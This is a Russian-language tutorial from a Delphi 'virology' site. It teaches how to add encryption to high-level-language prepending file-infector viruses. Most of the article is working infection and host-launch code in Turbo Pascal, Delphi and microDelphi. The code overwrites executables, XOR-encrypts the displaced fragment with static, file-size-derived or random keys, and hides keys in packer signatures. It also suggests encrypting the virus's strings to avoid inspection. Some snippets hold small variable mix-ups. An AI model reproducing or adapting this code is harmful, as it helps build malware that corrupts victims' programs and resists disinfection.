Пятница, 29.03.2024, 16:10 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Нужна ли цензура в интернете?
Всего ответов: 195

Главная » Статьи » Delphi » Вирусология

Шифрование в HLL вирусах
В предыдущей статье мы с вами разбирались с тем как дать возможность вирусу покинуть свой каталог запуска и заразить больше, тем самым, получив больше шансов на выживание. А так же были рассмотрены моменты, влияющие на скорость распространения и запуска жертв. Сегодняшняя статья, так же будет повещена аспектам живучести, но со стороны, усложнения лечения вируса. Мы рассмотрим возможности шифрования в HLL вирусах. Статья будет как предыдущая очень содержательная и всем кто хочет в вопросе вирусов соображать, советую её тщательно изучить. Преступаем…

. Переходим к рассмотрению шифрования. Все ниже приведённые определения, я привожу, не опираясь на какие-либо источники, поэтому, в некоторых мелочах, не влияющих на принципиально важные, они могут отличаться, от общепринятых. 
. Шифрование – это процесс изменения информации по определённому алгоритму, при котором теряется возможность её нормального восприятия. Т.е. зашифрованная информация не может быть использована с той целью, для которой она предназначена.
. Шифрование может быть – обратимым и необратимым. Необратимое шифрование – это по сути дела уничтожение информации и нам оно не интересно. Обратимое шифрование – это шифрование, при котором возможен процесс полного восстановления информации. 
. Обратимое шифрование бывает – симметричное и несимметричное. Разница между этими типами шифрования, заключается в том, что симметричное шифрование подразумевает использование для шифрования и дешифрования одного и того же алгоритма, а несимметрично наоборот. В отношении вирусов обычно применяется именно симметричное шифрование.
. В отношении обратимого шифрования всегда имеется понятие ключа шифрования – это определённая совокупность данных связывающая, через алгоритм шифрования данные до и после шифрования. Ключ шифрования обычно имеет разрядность, которая определяет его уровень сложности и в системах шифрования применяющихся в компьютерах, разрядность ключа обычно выражается в байтах, а так как байт имеет 256 различных состояний, то и количество возможных вариантов ключа определяется степенью числа 256. Т.е. однобайтный ключ может иметь 256 вариантов, а 2 байтный 256*256=65536 вариантов и т.д. А если судить очень строго, то количество возможных ключей на самом деле не единицу меньше (в выше приведённых примерах 255 и 65535), чем теоретическое, т.к. один ключ всегда имеется тот, который при шифровании даст результатом шифрования ту же информацию, что и до шифрования. Но это конечно мелочь, но её не стоит упускать, ведь вирусология – это наука не хуже любой другой и точности в ней – необходимы… 
. Т.о. применять, мы будем применять, именно обратимое симметричное шифрование и в вирусах оно обычно имеет три основных типа, по мере сложности их исполнения:
- Шифрование со статичным ключом – т.е. во всех случаях все жертвы шифруются одним и тем же ключом.
- Шифрование вычисленным ключом – т.е. ключ шифрования будет для разных файлов разным, но если заразить два одинаковых файла, то ключ у них будет равным.
- Шифрование случайным ключом – т.е. ключ будет всегда разным, и закон его формирования будет завязан на случайности. 

Я думаю всем ясно, что первый способ самый простой и ненадежный, а последний совсем наоборот, но во всех трёх способах есть одно общее качество - они все усложняют процесс лечения файла. Так же все эти методы имеют и много общего в реализации, а в общем-то они почти одинаковы – разница в способе получения ключа.. В первом случае ключ статичен и заложен в алгоритме, во втором его вычисляем для каждого файла, например исходя из его размера до заражения, а в третьем ключ случаен. Все три метода, как уже наверно, многим стало понятно, имеют процедуру шифрования/дешифрования, которой даётся необходимая информация, которую надо шифровать/дешифровать и ключ шифрования/дешифрования. Для простоты и наглядности, я не стану называть эту процедуру как-то вроде: sdgfaDF435RR, я назову её CryptVictim))). Она будет соответственно едина для всех трёх методов. Процедура CryptVictim в этом описании будет приведена трёх видов, которые я назвал:
- Линейный - из последовательности байт 0 0 0 0 при ключе шифрования 128 получается 128 128 128 128
- Прогрессирующий- из последовательности байт 0 0 0 0 при ключе шифрования 128 получается 128 129 130 131
- Регрессирующий- из последовательности байт 0 0 0 0 при ключе шифрования 128 получается 128 127 126 125
Почему я их так назвал? Мне не хочется объяснять подробно их работу, поэтому советую любознательным пользователям рассмотреть каждую процедуру самостоятельно и для лучшего понимания разницы между ними. 
Исходники процедур шифрования для Turbo Pascal, Delphi, microDelphi будут одинаковыми, это облегчит разбор материала. Привожу эти исходники:

Линейное шифрование:
type
  Bufer=array[1..VirSize] of Char;
procedure CryptVictim (var Buf : Bufer; key : integer);
var
  i : integer;
begin
  for i:=1 to Sizeof(Buf) do Buf[i]:=chr(ord(Buf[i]) xor key);
end;


Прогрессирующее шифрование:
type
  Bufer=array[1..VirSize] of Char;
procedure CryptVictim (var Buf : Bufer; key : integer);
var
  i : integer;
  ii : integer;
begin
  for i:=1 to Sizeof(Buf) do
  begin
  ii:=key+i;
  Buf[i]:=chr(ord(Buf[i]) xor ii);
  end;
end;


Регрессирующее шифрование:
type
  Bufer=array[1..VirSize] of Char;
procedure CryptVictim (var Buf : Bufer; key : integer);
var
  i : integer;
  ii : integer;
begin
  for i:=1 to Sizeof(Buf) do
  begin
  ii:=key-i;
  Buf[i]:=chr(ord(Buf[i]) xor ii);
  end;
end;

Все три процедуры используют однобайтный ключ шифрования, т.е. ключ должен быть от 0 до 255 – но 0 использовать нельзя, т.к. шифрования не будет. Для создания более сложных процедур вам не потребуется много сил, и при желании вы сможете, если захотите, все это реализовать, но в рамки этой статьи я не стану этого включать, т.к. мне кажется, статьи и так получаются слишком объемные. Но более широко шифрование мы рассмотрим в дальнейших статьях о крипторах. 

. Переходим к описанию того, как с помощью этих, а точней любой из них, процедур можно реализовать выше перечисление методы шифрования, хотя их лучше назвать, методами получения ключа шифрования. Наиболее целесообразно использовать шифрование во втором типе HLLP заражения, при этом шифруется фрагмент, переносимый в конец файла, размером VirSize, именно по этой причине я и сделал в процедурах CryptVictim фиксированный размер буфера, равный VirSize. Шифрование для первого типа вполне очевидно выполняется так же, но приводить примеры процедур заражения (Infect) и запуска жертв (InRun), я буду для второго типа.
. Для реализации шифрования со статическим ключом нам необходимо вызвать процедуру CryptVictim сначала в процедуре Infect, после того как мы взяли в буфер переносимый фрагмент вируса в конец, а затем в процедуре InRun, после того как взяли в буфер фрагмент из конца, перенесенный и зашифрованный при заражении. Привожу пример процедур заражения (Infect) и запуска жертв (InRun) для Turbo Pascal:
const
  StatKey = 123; {Статичный ключ шифрования} 
  VirSize=3072;{Размер вируса}
Procedure Infect(path : string);{ Передаём процедуре путь к жертве}
var
  F1,F2 : file;{Файловые переменные}
  NR : Word;
  BufVir : array[1..VirSize] of Char;{Буфер переноса фрагмента жертвы и тела вируса}
begin
  Assign(F1, path);{Ассоциируем переменную F1 с путём к жертве}
  Reset(F1, 1);{Открываем жертву}
  BlockRead(F1, BufVir, VirSize, NR);{Читаем VirSize байт жертвы в начале}
  CryptVictim(Buf,StatKey);{Шифрование переносимого буфера}
  seek(F1,FileSize(F1));{Переходим в конец жертвы}
  BlockWrite(F1, BufVir, NR);{Пишем буфер – жертва стала больше на VirSize}
  Assign(F2, ParamStr(0));{Ассоциируем F2 с путём к себе}
  Reset(F2, 1);{Открываем себя}
  BlockRead(F2, BufVir, VirSize, NR);{Читаем себя в буфер}
  seek(F1,0);{Переходим в начало жертвы}
  BlockWrite(F1, BufVir, NR);{Пишем себя с перезаписью в начало}
  Close(F1);{Закрываем жертву}
  Close(F2);{Закрываем себя}
end;
Procedure InRun;{Процедура запуска жертвы – без параметров}
var
  f : file;
  NR : Word;
  Buf : array [1..VirSize] of Char;
begin
  Assign(f,Paramstr(0));{Ассоциируем F с путем к себе}
  reset(f,1);{открываем себя}
  if FileSize(f)>VirSize then{если размер себя больше VirSize то..}
  begin
  seek(f,FileSize(f)-VirSize);{переходим на VirSize-ный с конца байт – начало перенесённого фрагмента}
  BlockRead(F, Buf, SizeOf(Buf), NR);{читаем весь фрагмент в буфер}
  CryptVictim(Buf,StatKey);//Шифрование переносимого буфера
  seek(f,0);{переходим в начало себя}
  BlockWrite(F, Buf, NR);{в этом месте, каким-то чудесным образом, пишем в себя, то что было в конце – ужас!!!!}
  seek(f,FileSize(f)-VirSize);{переходим обратно в конец}
  TrunCate(f);{отрезаем в конце себя!!! Лишний кусок}
  Close(f);{закрываем себя – стоит обратить внимание, что после закрытия файла вируса уже нету в жертве))) – он сделал харакири – но успел наплодить нехилое количество приплода}
  exec(ParamStr(0),'');{Запускам… блин не могу смешно.. – себя!!!! Где можно, ещё такое встретить??}
  end
  else Close(f);{это место сработает если вирь запущен в чистом виде}
end;

В Delphi и microDelphi изменения касаются, как Infect и InRun, так и CopyData, поэтому далее я привожу по три процедуры:
Delphi:
const
  StatKey=123;//Статичный ключ шифрования
Procedure CopyData(FromF,ToF:string; FromPos,ToPos,Count:integer;rw,Crypt:boolean);
//Процедура переноса данных из одного файла в другой
//FromF - путь к файлу источнику
//ToF - путь к файлу приёмнику
//FromPos - позиция начала чтения в файле источнике
//ToPos - позиция начала чтения в файле приёмнике
//Count - количество считываемых байт
//rw - если True - то файл приёмник надо перезаписать (создать), если false - открыть
//Crypt – шифрование/дешифрование буфера
var
  F : file;
  NR : integer;
  FM : word; //Переменная для сохранения FileMode
  Buf : array [1..999999] of byte; //Буфер
begin
  FM:=FileMode;//сохраняем FileMode
  FileMode:=0;//Режим работы с файлом - только чтение
  AssignFile(F, FromF);//Ассоциируем к с путём к файлу источнику
  Reset(F, 1);//Открываем источник
  if FromPos=1 then FromPos:=FileSize(F)-VirSize;//Если 1 то переходим на VirSize байт с конца
  seek(F,FromPos);//Переходим в источнике на позиция чтения
  if Count=0 then Count:=FileSize(F);
  //Если Count=0 то читаем весь файл до конца
  if Count=1 then Count:=FileSize(F)-VirSize;
  //Если Count=1 то читаем файл с заданной позиции до VirSize байта с конца
  BlockRead(F, Buf, Count, NR);//Читаем в буфер
  CloseFile(F);//Закрываем источник
  if Crypt then CryptVictim(Buf,StatKey);//Если параметр Crypt – true то шифруем буфер
  FileMode:=2;//Режим работы с файлом - только запись
  AssignFile(F, ToF);//Ассоциируем с путём к файлу приёмнику
  if rw then Rewrite(F, 1)//Открытие с перезаписью
  else Reset(F, 1);//Открытие с перезаписью
  if ToPos>0 then //Если ,больше 0 то переходим в файле приёмнике на заданную позицию
  begin
  if ToPos=1 then ToPos:=FileSize(F);//Если 1 то переходим в конец файла
  seek(F,ToPos);//Переход на позицию в файле
  end;
  BlockWrite(F, Buf, NR);//Пишем буфер
  CloseFile(F); //Закрываем файл приёмник
  FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;

Procedure Infect(path:string);//Процедура заражения - получает путь к жертве
var
  sr : TSearchRec;//Поисковая переменная
begin
  findfirst(path,faAnyFile-faDirectory,SR); //Ищем файл жертвы в указанном пути
  if (SR.Size>VirSize) and (SR.Size<999999) then
  //Если размер больше VirSize, но меньше 999999 - заражаем
  begin
  CopyData(path, path,0,1,VirSize,false,true);//Копируем с шифрованием фрагмент жертвы в конец
  CopyData(paramstr(0),path,0,0,VirSize,false,false);//Перезаписываем вирусом начало жертвы
  end;
end;

function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external ‘kernel32.dll’ name ‘WinExec’;
//Импортируем из библиотеки kernel32 функцию winexec – можно конечно вместо этого подключить модуль WINDOWS…
Procedure InRun; //Процедура запуска жертвы
var
  sr : TsearchRec;//Поисковая переменная
begin
  findfirst(paramstr(0),faAnyFile-faDirectory,SR);//Находим путь к себе
  if SR.Size>VirSize then //Если наш размер более VirSize – значит вирь запущен из жертвы..
  begin
  CopyData(paramstr(0),TmpName,1,0,VirSize,true,true);
  //Копируем из себя первый фрагмент жертвы переносимый в конец при заражении во ременный файл с его созданием и дешифрованием буфера
  CopyData(paramstr(0),TmpName,VirSize,1,1,false,false);
  //Копируем из себя копируем из себя второй фрагмент жертвы и дописываем его в конец первого
  winexec(TmpName,1);{запускаем жертву, если она есть}
  end;
end;


microDelphi:
const
  StatKey=123;//Статичный ключ шифрования
Procedure CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount, RW : integer; Crypt : boolean);
//Процедура переноса данных
//FromF - Файл источник данных
//ToF - файл приёмник данных
//FromSeek - Позиция начала чтения в файле источнике
//ToSeek - Позиция начала записи в файле приёмнике
//FromPos - место отсчета (начало конец) в файле источнике
//ToPos - место отсчета (начало конец) в файле приёмнике
//DataCount - количество переносимых байт
//RW - режим обращения к файлу приёмнику (открыть для записи - 3/создать новый - 1)
//Crypt – шифрование/дешифрование буфера
var
  buf : array [1..Max_Size] of byte;
  f1 : THandle;
  f2 : THandle;
  fs : INTEGER;
  N : INTEGER;
begin
  f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0);
  //Открытие файла-источника
  if f1=-1 then Exit;//Если ошибка - выход
  SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения
  case DataCount of //Условие организации исключения
  0: fs:=GetFileSize(f1,nil)-VirSize*2;//Этот параметр применяется в InRun втогоро типа HLLP
  1: fs:=GetFileSize(f1,nil)-VirSize;////Этот параметр применяется в InRun первого типа HLLP
  2: fs:=GetFileSize(f1,nil)//Этот параметр применяется в Infect первого типа HLLP
  else fs:=DataCount;//Если не исключение
  end;
  if (fs>Max_Size) and (fs<VirSize) then Exit;//Если файл меньше VirSize байт и больше 999999 - выход
  ReadFile(f1, Buf, fs, N, nil);//Читаем из источника
  CloseHandle(f1);//Закрытие файла источника
  if Crypt then CryptVictim(Buf,StatKey);//Если параметр Crypt – true то шифруем буфер
  f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1);
  //Открываем файл приёмник
  if f2=-1 then exit;//Если ошибка то выход
  SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позиция записи
  WriteFile(f2, Buf, fs, N, nil);//Пишем в приёмник
  CloseHandle(f2);//Закрытие файла
end;

Procedure InRun;//Процедура запуска жертвы
var
  pch : PathBuf;
  R : FindRec;
begin
  GetModuleFileName(0, pch, MAX_PATH);//Путь к себе
  FindFirstFile(pch,R);//Ищем свой файл
  if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим
  CopyData(pch,TmpName,-VirSize,0,FILE_END,FILE_BEGIN,VirSize,1,true);
  //Копируем в темп с расшифровкой кусок из конца
  CopyData(pch,TmpName,VirSize,VirSize,FILE_BEGIN,FILE_BEGIN,0,3,false);
  //Копируем в темп вторую часть программы
  WinExec(TmpName,SW_SHOW);//Запускаем темп
  ExitProcess(0);//Выход из программы
end;

Procedure Infect(Path:PChar);//Процедура заражения жертвы
var
  pch : PathBuf;
begin
  GetModuleFileName(0, pch, Max_Path);
  //Путь к себе
  CopyData(path,path,0,0,FILE_BEGIN,FILE_END,VirSize,3,true);
  //копирование фрагмента из начала в конец с шифрованием
  CopyData(pch,path,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,3,false);
  //копирование себя в начало с перезаписью
end;

. Я думаю вы обратили внимание, но то что в процедуре CopyData появился новый параметр – Crypt. В случае если Crypt равен - true, то буфер шифруем ключом, который определяется константой StatKey. Т.о. ключ всегда одинаковый. 
. Теперь переходим к рассмотрению второго способа получения ключа – вычисляемый тип. Как нам можно получить ключ, что бы он был в пределах 1-255? Попробуем сделать так: Key:=VictimSize mod 255 +1. VictimSize - размер файла жертвы до заражения. Как видите всё просто. И при любом значении VictimSize Key будет равен 1-255, как нам и надо. Теперь о том как извлечь ключ вирусу когда вирус запущен из жертвы, для её запуска? Необходимо просто получить свой размер а затем от него отнять VirSize и над этим числом сделать тоже что и в первом случае. Т.о. в процедуре InRun ключ мыв получаем по формуле: Key:=(MySize-VirSize) mod 255 + 1. Где MySize – это размер файла из которого ирус запущен. Теперь к реализации. 
Для Turbo Pascal:
1)В процедуре Infect вычисляем Key (VictimSize mod 255 +1) и передаем его вместе с буфером процедуре CryptVictim.
2)В процедуре InRun вычисляем Key ((MySize-VirSize) mod 255 + 1) и передаем его вместе с буфером процедуре CryptVictim. 
Исходники процедур Infect и InRun для Turbo Pascal:
const 
  VirSize=3072;{Размер вируса}
Procedure Infect(path : string);{ Передаём процедуре путь к жертве}
var
  F1,F2 : file;{Файловые переменные}
  NR : Word;
  BufVir : array[1..VirSize] of Char;{Буфер переноса фрагмента жертвы и тела вируса}
  Key:integer;
begin
  Assign(F1, path);{Ассоциируем переменную F1 с путём к жертве}
  Reset(F1, 1);{Открываем жертву}
  BlockRead(F1, BufVir, VirSize, NR);{Читаем VirSize байт жертвы в начале}
  Key:= FileSize(F1) mod 255 +1;//Вычисление ключа
  CryptVictim(Buf, Key);{Шифрование переносимого буфера}
  seek(F1,FileSize(F1));{Переходим в конец жертвы}
  BlockWrite(F1, BufVir, NR);{Пишем буфер – жертва стала больше на VirSize}
  Assign(F2, ParamStr(0));{Ассоциируем F2 с путём к себе}
  Reset(F2, 1);{Открываем себя}
  BlockRead(F2, BufVir, VirSize, NR);{Читаем себя в буфер}
  seek(F1,0);{Переходим в начало жертвы}
  BlockWrite(F1, BufVir, NR);{Пишем себя с перезаписью в начало}
  Close(F1);{Закрываем жертву}
  Close(F2);{Закрываем себя}
end;
Procedure InRun;{Процедура запуска жертвы – без параметров}
var
  f : file;
  NR : Word;
  Buf : array [1..VirSize] of Char;
  Key:integer;
begin
  Assign(f,Paramstr(0));{Ассоциируем F с путем к себе}
  reset(f,1);{открываем себя}
  if FileSize(f)>VirSize then{если размер себя больше VirSize то..}
  begin
  seek(f,FileSize(f)-VirSize);{переходим на VirSize-ный с конца байт – начало перенесённого фрагмента}
  BlockRead(F, Buf, SizeOf(Buf), NR);{читаем весь фрагмент в буфер}
  Key:=(FileSize(F)-VirSize) mod 255 + 1;//вычисление ключа
  CryptVictim(Buf,StatKey);//Шифрование переносимого буфера
  seek(f,0);{переходим в начало себя}
  BlockWrite(F, Buf, NR);{в этом месте, каким-то чудесным образом, пишем в себя, то что было в конце – ужас!!!!}
  seek(f,FileSize(f)-VirSize);{переходим обратно в конец}
  TrunCate(f);{отрезаем в конце себя!!! Лишний кусок}
  Close(f);{закрываем себя – стоит обратить внимание, что после закрытия файла вируса уже нету в жертве))) – он сделал харакири – но успел наплодить нехилое количество приплода}
  exec(ParamStr(0),'');{Запускам… блин не могу смешно.. – себя!!!! Где можно, ещё такое встретить??}
  end
  else Close(f);{это место сработает если вирь запущен в чистом виде}
end;


Для Delphi и microDelphi: 
1)В процедуре CopyData, появляется ещё один параметр – Key – в нем передаётся вычисленное значение ключа.
2)Константа StatKey – нам уже не нужна
3)В процедуре Infect перед первым вызовом CopyData мы вычисляем Key, по уже известной формуле: Key:=VictimSize mod 255 +1. Не забываем передать параметр Key процедуре CopyData.
4)В процедуре InRun перед первым вызовом CopyData мы в очередной раз вычисляем Key, но уже по формуле: Key:=(MySize-VirSize) mod 255 + 1. И передаем ключ процедуре.
5)Для определения размера файла необходимо либо открыть и закрыть файл при этом получив его размер, либо, что более предпочтительно, с помощью процедуры поиска файлов найти файл и глянуть его размер в поисковой переменной.
Исходники процедур Infect, InRun и CopyData для Delphi:
Procedure CopyData(FromF,ToF:string; FromPos,ToPos,Count:integer;rw,Crypt:Boolean;Key:integer);
//Процедура переноса данных из одного файла в другой
//FromF - путь к файлу источнику
//ToF - путь к файлу приёмнику
//FromPos - позиция начала чтения в файле источнике
//ToPos - позиция начала чтения в файле приёмнике
//Count - количество считываемых байт
//rw - если True - то файл приёмник надо перезаписать (создать), если false - открыть
//Crypt – шифрование/дешифрование буфера
//Key – ключ шифрования
var
  F : file;
  NR : integer;
  FM : word; //Переменная для сохранения FileMode
  Buf : array [1..999999] of byte; //Буфер
begin
  FM:=FileMode;//сохраняем FileMode
  FileMode:=0;//Режим работы с файлом - только чтение
  AssignFile(F, FromF);//Ассоциируем к с путём к файлу источнику
  Reset(F, 1);//Открываем источник
  if FromPos=1 then FromPos:=FileSize(F)-VirSize;//Если 1 то переходим на VirSize байт с конца
  seek(F,FromPos);//Переходим в источнике на позиция чтения
  if Count=0 then Count:=FileSize(F);
  //Если Count=0 то читаем весь файл до конца
  if Count=1 then Count:=FileSize(F)-VirSize;
  //Если Count=1 то читаем файл с заданной позиции до VirSize байта с конца
  BlockRead(F, Buf, Count, NR);//Читаем в буфер
  CloseFile(F);//Закрываем источник
  if Crypt then CryptVictim(Buf,Key);//Если параметр Crypt – true то шифруем буфер
  FileMode:=2;//Режим работы с файлом - только запись
  AssignFile(F, ToF);//Ассоциируем с путём к файлу приёмнику
  if rw then Rewrite(F, 1)//Открытие с перезаписью
  else Reset(F, 1);//Открытие с перезаписью
  if ToPos>0 then //Если ,больше 0 то переходим в файле приёмнике на заданную позицию
  begin
  if ToPos=1 then ToPos:=FileSize(F);//Если 1 то переходим в конец файла
  seek(F,ToPos);//Переход на позицию в файле
  end;
  BlockWrite(F, Buf, NR);//Пишем буфер
  CloseFile(F); //Закрываем файл приёмник
  FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;

Procedure Infect(path:string);//Процедура заражения - получает путь к жертве
var
  sr : TSearchRec;//Поисковая переменная
  Key : integer;
begin
  findfirst(path,faAnyFile-faDirectory,SR); //Ищем файл жертвы в указанном пути
  if (SR.Size>VirSize) and (SR.Size<999999) then
  //Если размер больше VirSize, но меньше 999999 - заражаем
  Begin
  Key:=Sr.Size mod 255 + 1;//Вычисляем ключ
  CopyData(path, path,0,1,VirSize,false,true,Key);//Копируем с шифрованием фрагмент жертвы в конец
  CopyData(paramstr(0),path,0,0,VirSize,false,false,0);//Перезаписываем вирусом начало жертвы
  end;
end;

function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external ‘kernel32.dll’ name ‘WinExec’;
//Импортируем из библиотеки kernel32 функцию winexec – можно конечно вместо этого подключить модуль WINDOWS…
Procedure InRun; //Процедура запуска жертвы
var
  sr : TsearchRec;//Поисковая переменная
  Key : integer;
begin
  findfirst(paramstr(0),faAnyFile-faDirectory,SR);//Находим путь к себе
  if SR.Size>VirSize then //Если наш размер более VirSize – значит вирь запущен из жертвы..
  begin
  Key:=(Sr.Size-VirSize) mod 255 + 1;//Вычисляем ключ
  CopyData(paramstr(0),TmpName,1,0,VirSize,true,true,Key);
  //Копируем из себя первый фрагмент жертвы переносимый в конец при заражении во ременный файл с его созданием и дешифрованием буфера
  CopyData(paramstr(0),TmpName,VirSize,1,1,false,false,0);
  //Копируем из себя копируем из себя второй фрагмент жертвы и дописываем его в конец первого
  winexec(TmpName,1);{запускаем жертву, если она есть}
  end;
end;


Исходники процедур Infect, InRun и CopyData для microDelphi:
Procedure CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount, RW : integer; Crypt : boolean; Key:integer);
//Процедура переноса данных
//FromF - Файл источник данных
//ToF - файл приёмник данных
//FromSeek - Позиция начала чтения в файле источнике
//ToSeek - Позиция начала записи в файле приёмнике
//FromPos - место отсчета (начало конец) в файле источнике
//ToPos - место отсчета (начало конец) в файле приёмнике
//DataCount - количество переносимых байт
//RW - режим обращения к файлу приёмнику (открыть для записи - 3/создать новый - 1)
//Crypt – шифрование/дешифрование буфера
//Key – ключ шифрования
var
  buf : array [1..Max_Size] of byte;
  f1 : THandle;
  f2 : THandle;
  fs : INTEGER;
  N : INTEGER;
begin
  f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0);
  //Открытие файла-источника
  if f1=-1 then Exit;//Если ошибка - выход
  SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения
  case DataCount of //Условие организации исключения
  0: fs:=GetFileSize(f1,nil)-VirSize*2;//Этот параметр применяется в InRun втогоро типа HLLP
  1: fs:=GetFileSize(f1,nil)-VirSize;////Этот параметр применяется в InRun первого типа HLLP
  2: fs:=GetFileSize(f1,nil)//Этот параметр применяется в Infect первого типа HLLP
  else fs:=DataCount;//Если не исключение
  end;
  if (fs>Max_Size) and (fs<VirSize) then Exit;//Если файл меньше VirSize байт и больше 999999 - выход
  ReadFile(f1, Buf, fs, N, nil);//Читаем из источника
  CloseHandle(f1);//Закрытие файла источника
  if Crypt then CryptVictim(Buf,Key);//Если параметр Crypt – true то шифруем буфер
  f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1);
  //Открываем файл приёмник
  if f2=-1 then exit;//Если ошибка то выход
  SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позиция записи
  WriteFile(f2, Buf, fs, N, nil);//Пишем в приёмник
  CloseHandle(f2);//Закрытие файла
end;

Procedure InRun;//Процедура запуска жертвы
var
  pch : PathBuf;
  R : FindRec;
  Key : integer;
begin
  GetModuleFileName(0, pch, MAX_PATH);//Путь к себе
  FindFirstFile(pch,R);//Ищем свой файл
  if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize – выходим
  Key:=R. nFileSizeLow mod 255 + 1;//Ключ шифрования
  CopyData(pch,TmpName,-VirSize,0,FILE_END,FILE_BEGIN,VirSize,1,true,Key);
  //Копируем в темп с расшифровкой кусок из конца
  CopyData(pch,TmpName,VirSize,VirSize,FILE_BEGIN,FILE_BEGIN,0,3,false,0);
  //Копируем в темп вторую часть программы
  WinExec(TmpName,SW_SHOW);//Запускаем темп
  ExitProcess(0);//Выход из программы
end;

Procedure Infect(Path:PChar);//Процедура заражения жертвы
var
  pch : PathBuf;
  Key : integer;
  R : FindRec;
begin
  GetModuleFileName(0, pch, Max_Path);
  //Путь к себе
  FindFirstFile(pch,R);
  Key:=(R. nFileSizeLow-VirSize) mod 255 + 1;//Ключ шифрования
  CopyData(path,path,0,0,FILE_BEGIN,FILE_END,VirSize,3,true,Key);
  //копирование фрагмента из начала в конец с шифрованием
  CopyData(pch,path,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,3,false,0);
  //копирование себя в начало с перезаписью
end;


. Вроде бы достойно всё разобрали. Переходим к последнему м самому интересному методу получения ключа шифрования.

Шифрование случайным ключом – это, по настоящему, серьёзный аргумент на серьёзность принципа шифрования, пусть и однобайтный. Как это реализовать? Точно так же как и в предыдущем случае, только лишь изменив способ вычисления ключа. Процедура CopyData в Delphi и microDelphi оставляем туже во всех трех реализациях будут изменены только процедуры Infect и InRun. Строго говоря, можно поступить одним из двух методов:
1)При заражении используем чисто случайный ключ, а при запуске вычислить его по первому символу зашифрованного буфера, а мы его знаем на 100% - это символ M ($4D), первый символ любого ехе-шника в винде. Как вычислить ключ? Да очень просто необходимо пропустить первый символ буфера через используемую в вашем вирусе процедуру заражения и номер того символа который мы получили в таблице ASCII и будет ключом шифрования. Минусом этого метода является то что если наш ехе на самом деле не ехе, а переименованный .com то мы его испортим. Так же редко но можно встретить ехе-шники с сигнатурой не MZ(4D5A) а наоборот ZM, в этом случае ему, то же не повезёт. Но есть второй способ…
2)При заражении мы получаем случайное число и этим ключом шифруем жертву, после этого копируем в жертву тело вируса и пишем в заражённый файл в какое-нибудь укромное место байт соответствующий ключу шифрования. Соответственно при запуске мы считываем из укромного места наш байт и расшифровываем, как во втором методе. Вопрос наверно возникает, где же это укромное место? Очень просто. Байт мы кидаем либо в конец, дописывая его последним байтом файла, либо кидаем его в тело вируса в то место которое не повредит его работе. Где такие места? Например, в зарезервированных местах PE заголовка или в нулях выравниваний, но самый верный способ - это использовать для вируса, какой-нибудь упаковщик, а байт писать в метку упаковщика, например у UPX она UPX! У FSG соответственно FSG! Метки эти обычна всегда на одном и том же смещении от начала файла и их размещение можно глянуть в хекс-редакторе. Метод реализуется не сложно, но в рамки этой статьи я не буду его включать т.к. он растянет и без того затянувшуюся статью. Если вы хотите его реализовать, то достаточно, только, немного подумать. 

На этом описание способов и особенностей шифрования тела жертвы я окончу, т.к. всего невозможно объять в одной статье, а если ломать на несколько, то это значительно усложнит усвоение. В исходниках боевых вирей, а так же в статьях о крипторах и джоинерах, вы сможете узнать много нового на тему шифрования. Так же не стоит забывать, что лучший советчик – это своя голова и на неё вся надежда. Придумываем, реализуем, дорабатываем и т.д. 


Для того что бы вас окончательно замучить я решил дать вам ещё немного пищи для ума и привести ещё один пример того как можно, применить шифрование в вирусах, но уже не для шифрования жертвы, а для шифрования фрагментов своего тела – текстовых строк в коде. При написании вирей, в тексте будут встречаться всевозможные строчные константы, например строки сообщений, ключи в реестре, пути самокопирования, командные строки и куча другого мусора, который будет очень банально смотреться в коде виря при открытии его в банальном хекс-редакторе, а именно этот способ в первую очередь большинство и используют. Как и избавиться от этих строк? Конечно же их необходимо зашифровать.. Но что дальше как их после этого применять, ведь информация будет совсем не та. А делаем мы так: 
1)Пишем функцию, которой даётся строка она её шифрует и возвращает своим значением.
2)Пропускаем через эту процедуру полезную строку и результат сохраняем в текстовом файле (или как вам удобно..)
3)В тех местах кода, где нам необходимо применять строку мы ставим не строку а функцию, которой в качестве параметра даём зашифрованный аналог строки, а так как функция симметричная, то она расшифровав возвращает в правильный вариант строки вычислив его по ходу выполнения..
Т.о. мы имеем зашифрованные строки, которые можем использовать как незашифрованные.

Реализацию, функции оставлю на вашей совести, думаю, после того как об этом было столько сказано, в этом не будет проблемы. На этом статью заканчиваю. Надеюсь вам понравилось.

&copy xakep


Категория: Вирусология | Добавил: dolphin (06.05.2009)
Просмотров: 3325 | Рейтинг: 4.0/4

Всего комментариев: 0
avatar
Профиль


Логин:
Пароль:

Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 455
Форум: 1165/8116
Коментариев: 768
Новостей: 29

Статистика пользователей
Всего: 526
За неделю: 3
Вчера: 0
Сегодня: 0
Всего онлайн: 1
Гостей: 1
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz